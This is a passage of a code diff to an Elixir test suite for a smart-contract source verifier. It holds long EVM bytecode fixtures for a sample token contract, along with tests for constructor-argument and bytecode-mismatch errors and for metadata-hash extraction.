00396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a723058202bede3d06720cdf63e8e43fa1d96f228a476cc899ae007bf684e802f2484ce7664736f6c63430005090032" - bytecode = - "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a72305820fe0ba5210ac95870683c2cb054304b04565703bd16c7d7e956df694c9643c6d264736f6c63430005090032" + contract_address = insert(:contract_address, contract_code: bytecode) - contract_address = insert(:contract_address, contract_code: bytecode) + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: input <> constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => "v0.5.9+commit.e560f70d", + "evm_version" => "petersburg", + "name" => "TestToken", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + + contract_address_1 = insert(:contract_address, contract_code: bytecode) - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode <> constructor_arguments - ) - |> with_block(status: :ok) + :transaction + |> insert( + created_contract_address_hash: contract_address_1.hash, + input: input <> constructor_arguments + ) + |> with_block(status: :ok) + + params_1 = %{ + "contract_source_code" => contract, + "compiler_version" => "v0.5.9+commit.e560f70d", + "evm_version" => "petersburg", + "name" => "TestToken", + "optimization" => false, + "constructor_arguments" => wrong_constructor_arguments, + "autodetect_constructor_args" => false + } + + assert {:error, :constructor_arguments} = Verifier.evaluate_authenticity(contract_address_1.hash, params_1) + end + + # flaky test + test "returns error when bytecode doesn't match", %{contract_code_info: contract_code_info} do + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) - params = %{ - "contract_source_code" => contract, - "compiler_version" => "v0.5.9+commit.e560f70d", - "evm_version" => "petersburg", - "name" => "TestToken", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: contract_code_info.tx_input) + |> with_block(status: :ok) - assert {:error, :generated_bytecode} = Verifier.evaluate_authenticity(contract_address.hash, params) - end + different_code = "pragma solidity ^0.4.24; contract SimpleStorage {}" - test "returns error when there is a compilation problem", %{contract_code_info: contract_code_info} do - contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + params = %{ + "contract_source_code" => different_code, + "compiler_version" => contract_code_info.version, + "evm_version" => "default", + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized + } - params = %{ - "contract_source_code" => "pragma solidity ^0.4.24; contract SimpleStorage { ", - "compiler_version" => contract_code_info.version, - "name" => contract_code_info.name, - "optimization" => contract_code_info.optimized - } + response = Verifier.evaluate_authenticity(contract_address.hash, params) - assert {:error, :compilation, "Function, variable, struct or modifier declaration expected."} = - Verifier.evaluate_authenticity(contract_address.hash, params) - end - end + assert {:error, :generated_bytecode} = response + end - describe "extract_bytecode_and_metadata_hash/1" do - test "extracts the bytecode from the hash" do - code = - "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a723058203c381c1b48b38d050c54d7ef296ecd411040e19420dfec94772b9c49ae106a0b0029" - - assert %{ - "metadata_hash_with_length" => - "a165627a7a723058203c381c1b48b38d050c54d7ef296ecd411040e19420dfec94772b9c49ae106a0b0029", - "trimmed_bytecode" => - "608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600", - "compiler_version" => nil - } = Verifier.extract_bytecode_and_metadata_hash(code, code) - end + # flaky test + test "returns error when contract has constructor arguments and they were not provided" do + path = File.cwd!() <> "/test/support/fixture/smart_contract/solidity_0.5.9_smart_contract.sol" + contract = File.read!(path) - test "extracts everything to the left of the swarm hash" do - contract_creation_code = - "0x60806040526315c8dd0d60005534801561001857600080fd5b5060405161053e38038061053e8339810160408190526100379161039b565b855161004a906001906020890190610056565b505050505050506104f1565b828054828255906000526020600020908101928215610091579160200282015b82811115610091578251825591602001919060010190610076565b5061009d9291506100a1565b5090565b5b8082111561009d57600081556001016100a2565b60006001600160401b038311156100cf576100cf6104db565b60206100e3601f8501601f19168201610488565b91508382528484840111156100f757600080fd5b60005b84811015610113578381015183820183015281016100fa565b848111156101245760008286850101525b50509392505050565b600082601f83011261013d578081fd5b8151602061015261014d836104b8565b610488565b80838252828201915082860187848660051b8901011115610171578586fd5b855b858110156101a35781516001600160a01b0381168114610191578788fd5b84529284019290840190600101610173565b5090979650505050505050565b600082601f8301126101c0578081fd5b815160206101d061014d836104b8565b80838252828201915082860187848660051b89010111156101ef578586fd5b855b858110156101a35781518015158114610208578788fd5b845292840192908401906001016101f1565b600082601f83011261022a578081fd5b8151602061023a61014d836104b8565b80838252828201915082860187848660051b8901011115610259578586fd5b855b858110156101a35781516001600160401b03811115610278578788fd5b8801603f81018a13610288578788fd5b6102998a87830151604084016100b6565b855250928401929084019060010161025b565b600082601f8301126102bc578081fd5b815160206102cc61014d836104b8565b80838252828201915082860187848660051b89010111156102eb578586fd5b855b858110156101a3578151845292840192908401906001016102ed565b600082601f830112610319578081fd5b8151602061032961014d836104b8565b80838252828201915082860187848660051b8901011115610348578586fd5b855b858110156101a35781516001600160401b03811115610367578788fd5b8801603f81018a13610377578788fd5b6103888a87830151604084016100b6565b855250928401929084019060010161034a565b60008060008060008060c087890312156103b3578182fd5b86516001600160401b03808211156103c9578384fd5b6103d58a838b016102ac565b975060208901519150808211156103ea578384fd5b6103f68a838b0161012d565b9650604089015191508082111561040b578384fd5b6104178a838b016102ac565b9550606089015191508082111561042c578384fd5b6104388a838b016101b0565b9450608089015191508082111561044d578384fd5b6104598a838b0161021a565b935060a089015191508082111561046e578283fd5b5061047b89828a01610309565b9150509295509295509295565b604051601f8201601f191681016001600160401b03811182821017156104b0576104b06104db565b604052919050565b60006001600160401b038211156104d1576104d16104db565b5060051b60200190565b634e487b7160e01b600052604160045260246000fd5b603f806104ff6000396000f3fe6080604052600080fdfea26469706673582212209864ab97aa6a0d2c5cc0828f7fbe63df8fb5e90c758d49371edb3184bcc8239664736f6c6343000804003300000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000320000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000756b5b30000000000000000000000000000000000000000000000000000000000000002000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb0000000000000000000000000000000000000000000000000000000000000006ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd8f0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000371776500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003657771000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000097177657177657177650000000000000000000000000000000000000000000000" + constructor_arguments = "" - deployed_bytecode = - "0x6080604052600080fdfea26469706673582212209864ab97aa6a0d2c5cc0828f7fbe63df8fb5e90c758d49371edb3184bcc8239664736f6c63430008040033" + bytecode = + "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633177029f116100715780633177029f1461025f57806354fd4d50146102c557806370a082311461034857806395d89b41146103a0578063a9059cbb14610423578063dd62ed3e14610489576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b6610501565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059f565b604051808215151515815260200191505060405180910390f35b61019f610691565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b604051808215151515815260200191505060405180910390f35b61024361090f565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610922565b604051808215151515815260200191505060405180910390f35b6102cd610a14565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030d5780820151818401526020810190506102f2565b50505050905090810190601f16801561033a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61038a6004803603602081101561035e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b6103a8610afa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e85780820151818401526020810190506103cd565b50505050905090810190601f1680156104155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046f6004803603604081101561043957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b98565b604051808215151515815260200191505060405180910390f35b6104eb6004803603604081101561049f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfe565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105975780601f1061056c57610100808354040283529160200191610597565b820191906000526020600020905b81548152906001019060200180831161057a57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610762575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561076e5750600082115b1561090357816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610908565b600090505b9392505050565b600460009054906101000a900460ff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaa5780601f10610a7f57610100808354040283529160200191610aaa565b820191906000526020600020905b815481529060010190602001808311610a8d57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b905780601f10610b6557610100808354040283529160200191610b90565b820191906000526020600020905b815481529060010190602001808311610b7357829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610be85750600082115b15610cf357816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cf8565b600090505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea265627a7a72305820fe0ba5210ac95870683c2cb054304b04565703bd16c7d7e956df694c9643c6d264736f6c63430005090032" - assert %{ - "metadata_hash_with_length" => - "a26469706673582212209864ab97aa6a0d2c5cc0828f7fbe63df8fb5e90c758d49371edb3184bcc8239664736f6c63430008040033", - "trimmed_bytecode" => - "60806040526315c8dd0d60005534801561001857600080fd5b5060405161053e38038061053e8339810160408190526100379161039b565b855161004a906001906020890190610056565b505050505050506104f1565b828054828255906000526020600020908101928215610091579160200282015b82811115610091578251825591602001919060010190610076565b5061009d9291506100a1565b5090565b5b8082111561009d57600081556001016100a2565b60006001600160401b038311156100cf576100cf6104db565b60206100e3601f8501601f19168201610488565b91508382528484840111156100f757600080fd5b60005b84811015610113578381015183820183015281016100fa565b848111156101245760008286850101525b50509392505050565b600082601f83011261013d578081fd5b8151602061015261014d836104b8565b610488565b80838252828201915082860187848660051b8901011115610171578586fd5b855b858110156101a35781516001600160a01b0381168114610191578788fd5b84529284019290840190600101610173565b5090979650505050505050565b600082601f8301126101c0578081fd5b815160206101d061014d836104b8565b80838252828201915082860187848660051b89010111156101ef578586fd5b855b858110156101a35781518015158114610208578788fd5b845292840192908401906001016101f1565b600082601f83011261022a578081fd5b8151602061023a61014d836104b8565b80838252828201915082860187848660051b8901011115610259578586fd5b855b858110156101a35781516001600160401b03811115610278578788fd5b8801603f81018a13610288578788fd5b6102998a87830151604084016100b6565b855250928401929084019060010161025b565b600082601f8301126102bc578081fd5b815160206102cc61014d836104b8565b80838252828201915082860187848660051b89010111156102eb578586fd5b855b858110156101a3578151845292840192908401906001016102ed565b600082601f830112610319578081fd5b8151602061032961014d836104b8565b80838252828201915082860187848660051b8901011115610348578586fd5b855b858110156101a35781516001600160401b03811115610367578788fd5b8801603f81018a13610377578788fd5b6103888a87830151604084016100b6565b855250928401929084019060010161034a565b60008060008060008060c087890312156103b3578182fd5b86516001600160401b03808211156103c9578384fd5b6103d58a838b016102ac565b975060208901519150808211156103ea578384fd5b6103f68a838b0161012d565b9650604089015191508082111561040b578384fd5b6104178a838b016102ac565b9550606089015191508082111561042c578384fd5b6104388a838b016101b0565b9450608089015191508082111561044d578384fd5b6104598a838b0161021a565b935060a089015191508082111561046e578283fd5b5061047b89828a01610309565b9150509295509295509295565b604051601f8201601f191681016001600160401b03811182821017156104b0576104b06104db565b604052919050565b60006001600160401b038211156104d1576104d16104db565b5060051b60200190565b634e487b7160e01b600052604160045260246000fd5b603f806104ff6000396000f3fe6080604052600080fdfe00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000320000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000756b5b30000000000000000000000000000000000000000000000000000000000000002000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202